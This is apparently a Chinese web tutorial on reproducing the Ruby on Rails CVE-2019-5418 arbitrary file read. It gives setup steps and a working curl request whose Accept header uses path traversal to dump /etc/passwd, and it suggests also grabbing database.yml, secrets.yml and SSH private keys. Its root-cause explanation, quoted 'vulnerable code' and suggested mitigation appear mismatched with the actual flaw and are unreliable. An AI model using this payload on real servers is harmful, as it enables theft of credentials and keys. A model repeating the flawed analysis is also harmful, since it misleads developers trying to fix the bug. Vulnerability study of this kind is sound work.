Ruby On Rails漏洞cve-2019-5418复现怎么进行

发布时间:2021-12-29 17:38:51 作者:柒染
来源:亿速云 阅读:210
# Ruby On Rails漏洞CVE-2019-5418复现指南

## 漏洞概述
CVE-2019-5418是Ruby on Rails框架中的一个高危漏洞,影响多个Rails版本。该漏洞源于开发模式下的**文件内容泄露**问题,攻击者可通过精心构造的请求读取服务器上的任意文件(包括敏感配置文件、数据库凭证等)。

**受影响版本**:
- Rails 5.2.2及之前版本
- Rails 6.0.0.beta3及之前版本

## 环境准备
### 1. 搭建漏洞环境
```bash
# 安装指定版本Rails(示例使用5.2.1)
gem install rails -v 5.2.1
rails new vulnerable_app --skip-bundle
cd vulnerable_app
bundle install

2. 创建测试控制器

# app/controllers/welcome_controller.rb
class WelcomeController < ApplicationController
  def index
    render file: "#{Rails.root}/public/index.html"
  end
end

漏洞复现步骤

步骤1:启动开发服务器

rails s -b 0.0.0.0 -p 3000

步骤2:构造恶意请求

使用curl发送包含特殊Accept头的请求:

curl -H "Accept: ../../../../../../../../etc/passwd{{" http://localhost:3000/welcome/index

或通过浏览器开发者工具添加请求头:

Accept: text/html,../../../../../../../../etc/passwd{{

步骤3:验证结果

成功利用时,服务器将返回/etc/passwd文件内容而非预期的HTML页面。

漏洞原理分析

漏洞核心在于ActionDispatch::FileHandler的文件路径处理: 1. Rails开发模式下会使用ActionDispatch::DebugExceptions中间件 2. 当请求包含异常Accept头时,路径清理逻辑失效 3. ::File.read直接读取未过滤的路径参数

关键问题代码:

# actionpack/lib/action_dispatch/http/parameters.rb
def path_parameters
  @env[PARAMETERS_KEY] ||= begin
    params = begin
      request.parameters
    rescue => e
      ...
    end
    params.merge!(path_info_parameters)
  end
end

修复方案

官方补丁

升级至以下版本: - Rails 5.2.2.1 - Rails 6.0.0.beta4

临时缓解措施

config/environments/development.rb中添加:

config.action_dispatch.debug_exceptions = false

扩展利用

除系统文件外,还可尝试读取: - config/database.yml - config/secrets.yml - ~/.ssh/id_rsa

注意事项

  1. 复现需在开发环境(RLS_ENV=development)
  2. 避免在生产环境测试
  3. 使用虚拟机或容器隔离测试环境

参考资源

”`

注:实际复现时请确保遵守法律法规,仅在授权环境下进行测试。本文档仅供学习网络安全技术使用。

推荐阅读:
  1. 10 个必备而且非常有用的 Ruby on Rails 4 Gems分别是哪些
  2. 怎么理解vue2.0响应式架构

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

ruby on rails

上一篇:ABAP怎么调用OCX

下一篇:ABAP后台作业的状态有哪些

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》